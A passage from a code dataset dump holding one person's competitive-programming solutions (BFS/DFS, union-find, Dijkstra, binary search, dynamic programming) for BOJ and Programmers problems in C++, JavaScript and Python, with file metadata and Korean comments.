0};\nint dy[4] = {0, 1, 0, -1};\n\nvoid bfs(int x, int y) {\n queue<pair<int,int>> q;\n\n q.push(make_pair(x, y));\n visited[x][y] = true;\n\n while(!q.empty()) {\n pair<int, int> cur = q.front();\n q.pop();\n\n for(int i = 0 ; i < 4 ; i++) {\n int nx = cur.first + dx[i];\n int ny = cur.second + dy[i];\n \n if(nx < 0 || ny < 0 || nx >= n || ny >= m || visited[nx][ny]) continue;\n if(arr[nx][ny] == 0) continue;\n \n q.push(make_pair(nx, ny));\n visited[nx][ny] = true;\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int t, k, x, y;\n cin >> t;\n\n for(int i = 0 ; i < t ; i++) {\n int cnt = 0;\n cin >> m >> n >> k;\n memset(arr, 0, sizeof(arr));\n memset(visited, false, sizeof(visited));\n\n for(int j = 0 ; j < k ; j++) {\n cin >> x >> y;\n arr[y][x] = 1;\n }\n\n for(int j = 0 ; j < n ; j++) {\n for(int k = 0 ; k < m ; k++) {\n if(arr[j][k] == 1 && !visited[j][k]) {\n cnt++;\n bfs(j, k);\n }\n }\n }\n\n cout << cnt << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.3900826573371887,"alphanum_fraction":0.42975205183029175,"avg_line_length":23.239999771118164,"blob_id":"d06d15ac011ca165246bef7699f95db26391a680","content_id":"cee333d89aa8e7c9d469e70de4531090e2ee7936","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":605,"license_type":"no_license","max_line_length":73,"num_lines":25,"path":"/programmers/Level 1/push_keypad.js","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 1: Push keypad\n2020 KAKAO Internship\n2021-12-21\n*/\nfunction solution(board, moves) {\n let answer = 0;\n let stack = [];\n\n for (let i = 0; i < moves.length; i++) {\n for (let j = 0; j < board.length; j++) {\n if (board[j][moves[i] - 1] > 0) {\n if (stack[stack.length - 1] === board[j][moves[i] - 1]) {\n answer += 2;\n stack.pop();\n } else stack.push(board[j][moves[i] - 1]);\n\n board[j][moves[i] - 1] = 0;\n break;\n }\n }\n }\n\n return answer;\n}"},{"alpha_fraction":0.3349548280239105,"alphanum_fraction":0.36970117688179016,"avg_line_length":21.5,"blob_id":"6266134139d6b1b74aad188f3a51ab0b409f13b0","content_id":"f8802503f8f3d5b07632ff0a1b3ac86f00a750ea","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1553,"license_type":"no_license","max_line_length":94,"num_lines":64,"path":"/BOJ/BFS_DFS/17070.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 17070번: 파이프 옮기기 1\n2021-12-20\n*/\n#include <iostream>\n#define MAX 32\nusing namespace std;\n\nint n, ans = 0;\nint arr[MAX][MAX];\nbool visited[MAX][MAX] = {false, };\nint dx[3] = {0, 1, 1}; //가로, 세로, 대각선\nint dy[3] = {1, 0, 1};\n\nvoid dfs(int x, int y, int dir) {\n //d => 0: 가로 1: 세로 2: 대각선\n\n if(x == n - 1 && y == n - 1) {\n ans++;\n return;\n }\n\n visited[x][y] = true;\n\n for(int i = 0 ; i < 3 ; i++) {\n if(dir == 0 && i == 1) continue; // 파이프 가로 && 세로 방향으로 이동\n else if(dir == 1 && i == 0) continue; // 파이프 세로 && 가로 방향으로 이동\n else {\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= n) continue;\n \n if(i < 2) { // 가로, 세로로 이동\n if(!arr[nx][ny] && !visited[nx][ny]) {\n dfs(nx, ny, i);\n visited[nx][ny] = false;\n }\n }\n else { //대각선\n if(!arr[nx][ny] && !arr[nx - 1][ny] && !arr[nx][ny - 1] && !visited[nx][ny]) {\n dfs(nx, ny, i);\n visited[nx][ny] = false;\n }\n }\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n cin >> n;\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < n ; j++) {\n cin >> arr[i][j];\n }\n }\n\n dfs(0, 1, 0);\n\n cout << ans;\n return 0;\n}"},{"alpha_fraction":0.49655961990356445,"alphanum_fraction":0.517201840877533,"avg_line_length":16.816326141357422,"blob_id":"7fea9ec05dd7c573a6da6fe0efbe4d4a36be2b75","content_id":"9ad0997e9d508a155bba2e7ec5348f77f661c5fd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":880,"license_type":"no_license","max_line_length":61,"num_lines":49,"path":"/programmers/Level 2/find_prime_number.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 2: 소수 찾기\n//2021-10-09\n#include <vector>\n#include <set>\n#include <algorithm>\n#include <iostream>\n#include <math.h>\nusing namespace std;\n\nbool isPrime(int num) {\n if(num < 2) return false;\n \n for(int i = 2 ; i <= sqrt(num) ; i++) {\n if(num % i == 0) return false;\n }\n \n return true;\n}\n\nint solution(string numbers) {\n int answer = 0;\n vector<string> v;\n set<int> s;\n\n sort(numbers.begin(), numbers.end());\n \n do {\n string str;\n \n for(int i = 0 ; i < numbers.size() ; i++) {\n str += numbers[i];\n s.insert(stoi(str));\n }\n \n }while(next_permutation(numbers.begin(), numbers.end()));\n\n for(auto i : s) {\n if(isPrime(i)) answer++;\n }\n \n return answer;\n}\n\nint main() {\n int answer = solution(\"011\");\n cout << answer;\n\n return 0;\n}"},{"alpha_fraction":0.483205646276474,"alphanum_fraction":0.49911609292030334,"avg_line_length":22.91549301147461,"blob_id":"b1708c82a2d867c8b8d43cd2c6fccda30c6c9a61","content_id":"a0d45f4bf1f30c9e0dbffc46f4f005cd2a17d7f6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1763,"license_type":"no_license","max_line_length":88,"num_lines":71,"path":"/programmers/Level 2/rank_search.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 순위 검색\n2021 KAKAO BLIND RECRUITMENT\n2022-04-18\n*/\n#include <string>\n#include <vector>\n#include <sstream>\n#include <algorithm>\n#include <unordered_map>\nusing namespace std;\n\nunordered_map<string, vector<int>> m; \n\nvector<string> split(string str, char del){\n vector<string> ret;\n istringstream iss(str);\n string buffer;\n \n while(getline(iss, buffer, del)) ret.push_back(buffer);\n \n return ret;\n}\n\nvoid getCombination(vector<string> v){\n for(int i = 0 ; i < 16 ; i++){\n string tmp;\n \n for(int j = 0 ; j < 4 ; j++){\n if(i & (1 << j)) tmp += \"-\";\n else tmp += v[j];\n }\n \n m[tmp].push_back(stoi(v[4]));\n }\n}\n\nvector<int> solution(vector<string> info, vector<string> query) {\n vector<int> answer;\n \n for(int i = 0 ; i < info.size() ; i++){\n vector<string> ret = split(info[i], ' ');\n getCombination(ret); // 해당 info로 만들 수 있는 모든 조합 만들고 점수 삽입\n }\n \n for(auto &i : m){\n sort(i.second.begin(), i.second.end());\n }\n \n for(int i = 0 ; i < query.size() ; i++){\n vector<string> ret = split(query[i], ' ');\n string tmp;\n \n for(int j = 0 ; j < ret.size() - 1 ; j++){\n if(ret[j] == \"and\") continue;\n tmp += ret[j];\n }\n \n vector<int> scores = m[tmp]; // query 조건을 만족하는 점수들\n \n if(scores.size() == 0) answer.push_back(0);\n else{\n int score = stoi(ret[7]);\n int idx = lower_bound(scores.begin(), scores.end(), score) - scores.begin();\n \n answer.push_back(scores.size() - idx);\n }\n }\n \n return answer;\n}"},{"alpha_fraction":0.4604026973247528,"alphanum_fraction":0.4899328947067261,"avg_line_length":18.128204345703125,"blob_id":"cbb9aae785b0e766bfbd4db92c4045f35b2ef780","content_id":"b70a9d03a3e29b85991c75a7a1db92ca799799c8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":761,"license_type":"no_license","max_line_length":70,"num_lines":39,"path":"/programmers/Level 3/immigration.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 3: 입국심사\n이분탐색\n2021-12-19\n*/\n#include <vector>\n#include <algorithm>\n#include <iostream>\n#define MAX 1e18\nusing namespace std;\n\nlong long solution(int n, vector<int> times) {\n long long answer = MAX;\n long long start = 0, end = MAX, mid, sum;\n \n sort(times.begin(), times.end());\n \n while(start <= end) {\n sum = 0;\n mid = (start + end) / 2;\n \n for(int i = 0 ; i < times.size() ; i++) sum += mid / times[i];\n \n if(sum >= n) {\n end = mid - 1;\n answer = min(mid, answer);\n }\n else {\n start = mid + 1;\n }\n }\n \n return answer;\n}\n\nint main() {\n long long answer = solution(6, {7, 10});\n cout << answer;\n}"},{"alpha_fraction":0.5010941028594971,"alphanum_fraction":0.5470459461212158,"avg_line_length":15.962963104248047,"blob_id":"7f9945080329a08f09e8279bd7cc5a5f23f9124c","content_id":"fed28e2efc8ea44410ac416fe04233986a9c9efd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":465,"license_type":"no_license","max_line_length":85,"num_lines":27,"path":"/BOJ/Implementation/4358.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 4358번: 생태학\nDATE: 2022-03-11\n*/\n#include <iostream>\n#include <string>\n#include <map>\nusing namespace std;\n\nmap<string, int> m;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string str;\n int total = 0;\n\n while(getline(cin, str)){\n m[str]++;\n total++;\n }\n\n cout << fixed;\n cout.precision(4);\n for(auto i : m) cout << i.first << \" \" << (double)i.second / total * 100 << '\\n';\n\n return 0;\n}"},{"alpha_fraction":0.42171189188957214,"alphanum_fraction":0.5114822387695312,"avg_line_length":11.972972869873047,"blob_id":"b739c099b970145dda8f6237edaec93f725ed60e","content_id":"11707c0636205c0f9e6603eda9c7c9fc0b15070f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":489,"license_type":"no_license","max_line_length":58,"num_lines":37,"path":"/BOJ/Implementation/4673.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 4673번: 셀프 넘버\n2021-03-23\n*/\n#include <iostream>\n\nusing namespace std;\n\nint d(int num) {\n\tint sum = num;\n\n\twhile (num != 0) {\n\t\tsum += num % 10;\n\t\tnum = num / 10;\n\t}\n\n\treturn sum;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\tbool arr[10001] = { false, };\n\n\tfor (int i = 1; i <= 10000; i++) {\n\t\tint idx = d(i);\n\n\t\tif(idx <= 10000)\n\t\t\tarr[idx] = true;\n\t}\n\n\tfor (int i = 1; i <= 10000; i++) {\n\t\tif (!arr[i])\n\t\t\tcout << i << endl;\n\t}\n\n\treturn 0;\n}"},{"alpha_fraction":0.5260663628578186,"alphanum_fraction":0.5734597444534302,"avg_line_length":22.55555534362793,"blob_id":"5c65ce2123fef822b4f11609bd978d7560ba6ca0","content_id":"b51848a67e7029614e6e03f0a3d5aa0d7fb31a40","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":221,"license_type":"no_license","max_line_length":40,"num_lines":9,"path":"/programmers/Level 1/add_yin_and_yang.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# programmers Level 1: 음양 더하기\n# date: 2022-04-14\ndef solution(absolutes, signs):\n answer = 0\n \n for a, s in zip(absolutes, signs):\n answer += a if s == True else -a\n \n return answer"},{"alpha_fraction":0.4934593141078949,"alphanum_fraction":0.5167151093482971,"avg_line_length":19.55223846435547,"blob_id":"482c180d00faa124070474b46b4ec649b70c0d13","content_id":"e31c5aa92ee9645e3d976030e134286f5d54c19b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1390,"license_type":"no_license","max_line_length":59,"num_lines":67,"path":"/BOJ/MST/1647.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1647번: 도시 분할 계획\n2021-12-29\nKruskal Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#define MAX 1000001\nusing namespace std;\n\npair<int, pair<int,int>> edge[MAX];\n\nint getParent(int parent[], int x) {\n if(parent[x] == x) return x;\n return parent[x] = getParent(parent, parent[x]);\n}\n\nvoid unionParent(int parent[], int a, int b){\n a = getParent(parent, a);\n b = getParent(parent, b);\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\nint findParent(int parent[], int a, int b){\n a = getParent(parent, a);\n b = getParent(parent, b);\n if(a == b) return 1;\n else return 0;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n int n, m;\n int a, b, c;\n int ans = 0, cnt = 0;\n cin >> n >> m;\n\n int parent[n + 1];\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\n\n for(int i = 0 ; i < m ; i++) {\n cin >> a >> b >> c;\n edge[i].first = c; \n edge[i].second.first = a;\n edge[i].second.second = b;\n }\n\n sort(edge, edge + m);\n\n for(int i = 0 ; i < m ; i++) {\n int a = edge[i].second.first;\n int b = edge[i].second.second;\n int c = edge[i].first;\n\n if(findParent(parent, a, b)) continue;\n \n unionParent(parent, a, b);\n ans += c;\n if(++cnt == n - 2) break;\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.44155845046043396,"alphanum_fraction":0.5038961172103882,"avg_line_length":13.84615421295166,"blob_id":"bf01d2ff2ecd6bcb99924adb2308793a031966d5","content_id":"7f1261c11d6ac52245382ff674d2de57709c8227","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":393,"license_type":"no_license","max_line_length":58,"num_lines":26,"path":"/BOJ/Dynamic Programming/2193.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2193번: 이친수\nDATE: 2021-05-28\nDynamic programming\n*/\n#include <iostream>\n#define MAX 91\nusing namespace std;\n\nlong long dp[MAX];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n cin >> n;\n\n dp[1] = dp[2] = 1;\n\n for(int i = 3 ; i < MAX ; i++){\n dp[i] = dp[i - 1] + dp[i - 2];\n }\n\n cout << dp[n] << '\\n';\n \n return 0;\n}"},{"alpha_fraction":0.3906829059123993,"alphanum_fraction":0.4203282296657562,"avg_line_length":22.625,"blob_id":"de5e573292c3d8c854669c6c92626a51709acb46","content_id":"a2c8ffe4a254dd4c4cf43c489d5de3700b44702c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1889,"license_type":"no_license","max_line_length":75,"num_lines":80,"path":"/programmers/Level 3/lock_and_key.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 3 : Lock and Key\n//2020 KAKAO BLIND RECRUITMENT\n//2021-05-29\n#include <string>\n#include <vector>\n#include <iostream>\nusing namespace std;\n\nbool sum(int x, int y, vector<vector<int>> key, vector<vector<int>> board){\n int M = key.size();\n int bs = board.size();\n \n for(int i = 0 ; i < M ; i++){\n for(int j = 0 ; j < M ; j++){\n board[x + i][y + j] += key[i][j];\n }\n }\n \n for(int i = M - 1 ; i < bs - M + 1; i++){\n for(int j = M - 1 ; j < bs - M + 1 ; j++){\n if(board[i][j] != 1)\n return false;\n }\n }\n \n return true;\n}\n\nvector<vector<int>> rotate(vector<vector<int>> key){\n int M = key.size();\n vector<vector<int>> tmp(M, vector<int>(M, 0));\n \n for(int i = 0 ; i < M ; i++){\n for(int j = 0 ; j < M ; j++){\n tmp[i][j] = key[M - j - 1][i];\n }\n }\n \n key = tmp;\n return key;\n}\n\nbool solution(vector<vector<int>> key, vector<vector<int>> lock) {\n bool answer = false;\n \n int M = key.size();\n int N = lock.size();\n int bs = lock.size() + (key.size() - 1)*2;\n vector<vector<int>> board(bs, vector<int>(bs, 0));\n \n for(int i = 0 ; i < N ; i++){\n for(int j = 0 ; j < N ; j++){\n board[i + M - 1][j + M - 1] = lock[i][j];\n }\n }\n \n for(int i = 0 ; i < 4 ; i++){\n for(int j = 0 ; j < M+N-1 ; j++){\n for(int k = 0 ; k < M+N-1 ; k++){\n if(sum(j, k , key, board)){\n answer = true;\n return answer;\n }\n }\n }\n key = rotate(key);\n }\n \n return answer;\n}\n\nint main(){\n vector<vector<int>> key = {{0, 0, 0}, {1, 0, 0}, {0, 1, 1}};\n vector<vector<int>> lock = {{1, 1, 1}, {1, 1, 0}, {1, 0, 1}};\n\n if(solution(key, lock)) cout << \"true\\n\";\n else cout << \"false\\n\";\n\n return 0;\n}"},{"alpha_fraction":0.4127906858921051,"alphanum_fraction":0.4970930218696594,"avg_line_length":14,"blob_id":"4756c1f10deb7d74799f5bb7c78dbe6ec56ad635","content_id":"49bf0f6221bd9a395a28cd2e0218971d20525b19","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":358,"license_type":"no_license","max_line_length":58,"num_lines":23,"path":"/BOJ/Implementation/14681.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14681번: 사분면 고르기\n2021-03-23\n*/\n#include <iostream>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\tint x, y;\n\tcin >> x >> y;\n\n\tif (x > 0 && y > 0)\n\t\tcout << 1;\n\telse if (x < 0 && y > 0)\n\t\tcout << 2;\n\telse if (x < 0 && y < 0)\n\t\tcout << 3;\n\telse if (x > 0 && y < 0)\n\t\tcout << 4;\n\t\n\treturn 0;\n}"},{"alpha_fraction":0.4692832827568054,"alphanum_fraction":0.4957337975502014,"avg_line_length":18.88135528564453,"blob_id":"68df5d3574a5231b917655052152a15038e88f75","content_id":"e69f67dfbef801b76cff04414de2256122531715","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1196,"license_type":"no_license","max_line_length":95,"num_lines":59,"path":"/BOJ/Dijkstra/1916.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1916번: 최소비용 구하기\n2021-12-28\nDijkstra Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#define MAX 1001\n#define INF 100000001\nusing namespace std;\n\nint d[MAX];\nvector<pair<int, int>> graph[MAX];\n\nvoid dijkstra(int start) { \n priority_queue<pair<int, int>, vector<pair<int,int>>, greater<pair<int,int>>> pq; // 거리, 노드\n\n pq.push({0, start});\n d[start] = 0;\n\n while(!pq.empty()) {\n int distance = pq.top().first;\n int cur = pq.top().second;\n pq.pop();\n\n if(d[cur] < distance) continue;\n for(int i = 0 ; i < graph[cur].size() ; i++) {\n int newDistance = graph[cur][i].second;\n int next = graph[cur][i].first;\n\n if(distance + newDistance < d[next]) {\n d[next] = distance + newDistance;\n pq.push({d[next], next});\n }\n }\n }\n}\n\nint main() {\n int n, m;\n int x, y, z;\n int a, b;\n cin >> n >> m;\n\n for(int i = 0 ; i < m ; i++) {\n cin >> x >> y >> z;\n graph[x].push_back(make_pair(y, z));\n }\n\n cin >> a >> b;\n\n fill(d, d + n + 1, INF);\n dijkstra(a);\n\n cout << d[b];\n\n return 0;\n}"},{"alpha_fraction":0.4473229646682739,"alphanum_fraction":0.49740931391716003,"avg_line_length":24.755556106567383,"blob_id":"d6efa24c2ccc473c27da5246bde7659319dcc178","content_id":"34e63d36d2d02831c8c6048239c24c1d65a7226b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1168,"license_type":"no_license","max_line_length":98,"num_lines":45,"path":"/BOJ/Dynamic Programming/2096.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2096번: 내려가기\nDATE: 2022-01-17\nDynamic Programming\nSliding Window\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, num;\n cin >> n;\n\n int minArr[3], maxArr[3], minTmp[3], maxTmp[3];\n int input[3];\n\n for(int i = 0 ; i < n ; i++){\n cin >> input[0] >> input[1] >> input[2];\n\n if(i == 0) {\n for(int j = 0 ; j < 3 ; j++) minTmp[j] = maxTmp[j] = minArr[j] = maxArr[j] = input[j];\n continue;\n }\n\n minArr[0] = input[0] + min(minTmp[0], minTmp[1]);\n maxArr[0] = input[0] + max(maxTmp[0], maxTmp[1]);\n\n minArr[1] = input[1] + min({minTmp[0], minTmp[1], minTmp[2]});\n maxArr[1] = input[1] + max({maxTmp[0], maxTmp[1], maxTmp[2]});\n\n minArr[2] = input[2] + min(minTmp[1], minTmp[2]);\n maxArr[2] = input[2] + max(maxTmp[1], maxTmp[2]);\n\n for(int j = 0 ; j < 3 ; j++){\n minTmp[j] = minArr[j];\n maxTmp[j] = maxArr[j];\n }\n }\n \n cout << *max_element(maxArr, maxArr + 3) << \" \" << *min_element(minArr, minArr + 3);\n\n return 0;\n}"},{"alpha_fraction":0.4417129158973694,"alphanum_fraction":0.46708962321281433,"avg_line_length":19.03174591064453,"blob_id":"d0dd9530d9530b80a325ba140b847e2f04563111","content_id":"849f5e5a8fe0b35aa1b48234b9ae027883c1c36e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1309,"license_type":"no_license","max_line_length":58,"num_lines":63,"path":"/BOJ/Graph Theory/1976.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 1976번: 여행 가자\nDATE: 2021-02-08\nUnion-Find\n*/\n#include <iostream>\n#define MAX 200\nusing namespace std;\n\nint arr[MAX][MAX];\n\nint getParent(int parent[], int x){\n if(parent[x] == x) return x;\n return parent[x] = getParent(parent, parent[x]);\n}\n\nvoid unionParent(int parent[], int a, int b){\n a = getParent(parent, a);\n b = getParent(parent, b);\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\n//같은 그래프에 속하는지 확인\nint findParent(int parent[], int a, int b){\n a = getParent(parent, a);\n b = getParent(parent, b);\n if(a == b) return 1;\n else return 0;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m;\n cin >> n >> m;\n\n int parent[n+1], dst[m];\n for(int i = 1 ; i <= n ; i++){\n parent[i] = i;\n }\n\n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j < n ; j++){\n cin >> arr[i][j];\n if(arr[i][j] == 1 || i==j) //같은 부모 노드를 갖도록함\n unionParent(parent, i+1, j+1); \n }\n }\n\n for(int i = 0 ; i < m ; i++){\n cin >> dst[i];\n if(i > 0){\n if(!findParent(parent, dst[i-1], dst[i])){\n cout << \"NO\";\n return 0;\n }\n }\n }\n\n cout << \"YES\";\n\n return 0;\n}"},{"alpha_fraction":0.4082733690738678,"alphanum_fraction":0.44964027404785156,"avg_line_length":17.566667556762695,"blob_id":"f737a00b971f99ef2617e6c90eff5fd9e72853be","content_id":"5a0a0be74dd9ebdfdd1922c9b46bda457fa3fc9f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":590,"license_type":"no_license","max_line_length":58,"num_lines":30,"path":"/BOJ/Implementation/12904.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 12904번: A와 B\nDATE: 2021-11-22\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string s, t, tmp;\n cin >> s >> t;\n\n while(t.length() > s.length()){\n char last = t[t.length() - 1]; //t의 마지막 글자 \n t.erase(t.length() - 1, 1); //t의 마지막 글자 제거\n \n if(last == 'B'){\n reverse(t.begin(), t.end());\n }\n\n if(t == s) {\n cout << 1;\n return 0;\n }\n }\n\n cout << 0;\n return 0;\n}"},{"alpha_fraction":0.32930514216423035,"alphanum_fraction":0.3645518720149994,"avg_line_length":16.438596725463867,"blob_id":"3ed3b41c6e110d6703e486557591096d1b748bd4","content_id":"5db392d0fb1fc91c4aa9c0d67d04e368f0aafd84","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1041,"license_type":"no_license","max_line_length":58,"num_lines":57,"path":"/BOJ/Binary Search/2343.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2343번: 기타 레슨\n2021-12-19\nBinary Search\n*/\n#include <iostream>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m, num, ans = 1000000000;\n int start, end, mid, sum, cnt;\n \n cin >> n >> m;\n\n int arr[n];\n\n for(int i = 0 ; i < n ; i++) {\n cin >> arr[i];\n sum += arr[i];\n }\n\n start = 1;\n end = sum;\n\n while(start <= end) {\n cnt = 1;\n sum = 0;\n mid = (start + end) / 2;\n\n for(int i = 0 ; i < n ; i++) {\n if(arr[i] > mid) { // 모든 강의가 들어가야 함\n cnt = n + 1; // M <= N (cnt는 무조건 M보다 크게 됨)\n break;\n }\n\n sum += arr[i];\n\n if(sum > mid){\n cnt++;\n sum = arr[i];\n }\n }\n\n if(cnt <= m) {\n ans = min(ans, mid);\n end = mid - 1;\n }\n else {\n start = mid + 1;\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.40717029571533203,"alphanum_fraction":0.44430217146873474,"avg_line_length":18.073171615600586,"blob_id":"91370efc4b060747f49bcd0884c6bf50820fdd55","content_id":"f527fc1f3bc231b6ba674bb8f737da50e4bb6bcf","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":795,"license_type":"no_license","max_line_length":74,"num_lines":41,"path":"/BOJ/Dynamic Programming/14501.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14501번: 퇴사\nDATE: 2021-10-07\nDynamic Programming\n*/\n#include <iostream>\n#include <algorithm>\n#include <vector>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, max_val;\n cin >> n;\n\n int arr[2][n];\n\n for(int i = 0 ; i < n ; i++) {\n vector<int> tmp;\n int t, p; //기간, 금액\n \n cin >> t >> p;\n arr[1][i] = t;\n\n if(i + t > n) {\n arr[0][i] = 0;\n continue;\n }\n\n for(int j = 0 ; j < i ; j++) {\n if(j + arr[1][j] <= i) tmp.push_back(arr[0][j]);\n }\n\n if(tmp.size() > 0) max_val = *max_element(tmp.begin(), tmp.end());\n arr[0][i] = max_val + p;\n }\n\n cout << *max_element(arr[0], arr[0] + n);\n\n return 0;\n}"},{"alpha_fraction":0.4497816562652588,"alphanum_fraction":0.4606986939907074,"avg_line_length":23.553571701049805,"blob_id":"ced03fd54aa575bb1842de59c4013509491a7572","content_id":"2fed31925e1acfcf7f37cf3e0dedf7b1a03a6430","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1392,"license_type":"no_license","max_line_length":68,"num_lines":56,"path":"/programmers/Level 2/menu_renewal.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 메뉴 리뉴얼\ndate: 2022-03-29\n*/\n#include <string>\n#include <vector>\n#include <algorithm>\n#include <map>\nusing namespace std;\n\nbool cmp(pair<string, int> a, pair<string, int> b){\n return a.second > b.second;\n}\n\nvector<string> solution(vector<string> orders, vector<int> course) {\n vector<string> answer;\n map<string, int> m; // 조합, 개수\n \n for(string i : orders){\n sort(i.begin(), i.end());\n \n for(int j : course){\n if(i.length() < j) continue;\n \n vector<bool> tmp(i.length(), true);\n for(int k = 0 ; k < j ; k++) tmp[k] = false;\n \n do{ \n string str;\n \n for(int k = 0 ; k < tmp.size() ; k++){\n if(!tmp[k]) str += i[k];\n }\n \n m[str]++;\n }while(next_permutation(tmp.begin(), tmp.end()));\n }\n }\n \n int arr[course.back() + 1];\n fill(arr, arr + course.back() + 1, 0);\n \n vector<pair<string, int>> v(m.begin(), m.end());\n sort(v.begin(), v.end(), cmp);\n \n for(auto i : v){\n if(i.second >= arr[i.first.length()] && i.second > 1) {\n arr[i.first.length()] = i.second;\n answer.push_back(i.first);\n }\n }\n \n sort(answer.begin(), answer.end());\n \n return answer;\n}"},{"alpha_fraction":0.3294491469860077,"alphanum_fraction":0.3924788236618042,"avg_line_length":29.467741012573242,"blob_id":"0de164123bd1d295b7a73b51745dad2615c72102","content_id":"9f7550b57ddf57f67190c03f67558dbfbfcd786a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1894,"license_type":"no_license","max_line_length":94,"num_lines":62,"path":"/BOJ/Dynamic Programming/17404.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 17404번: RGB거리 2\nDATE: 2021-07-29\nDynamic Programming\n*/\n#include <iostream>\n#include <algorithm>\n#define MAX 987654321\nusing namespace std;\n\nint input[1000][3];\nint house[3][1000][3];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, r, g, b, ans=MAX;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> r >> g >> b;\n input[i][0] = r;\n input[i][1] = g;\n input[i][2] = b;\n }\n\n for(int i = 0 ; i < 3 ; i++){\n copy(&input[0][0], &input[0][0] + 3000, &house[i][0][0]);\n \n for(int j = 0 ; j < 3 ; j++)\n if(i != j) house[i][0][j] = MAX;\n\n for(int j = 1 ; j < n ; j++){\n if(j == n -1){\n if(i == 0) {\n house[i][j][1] = min(house[i][j-1][0], house[i][j-1][2]) + house[i][j][1];\n house[i][j][2] = min(house[i][j-1][0], house[i][j-1][1]) + house[i][j][2];\n }\n else if(i == 1){\n house[i][j][0] = min(house[i][j-1][1], 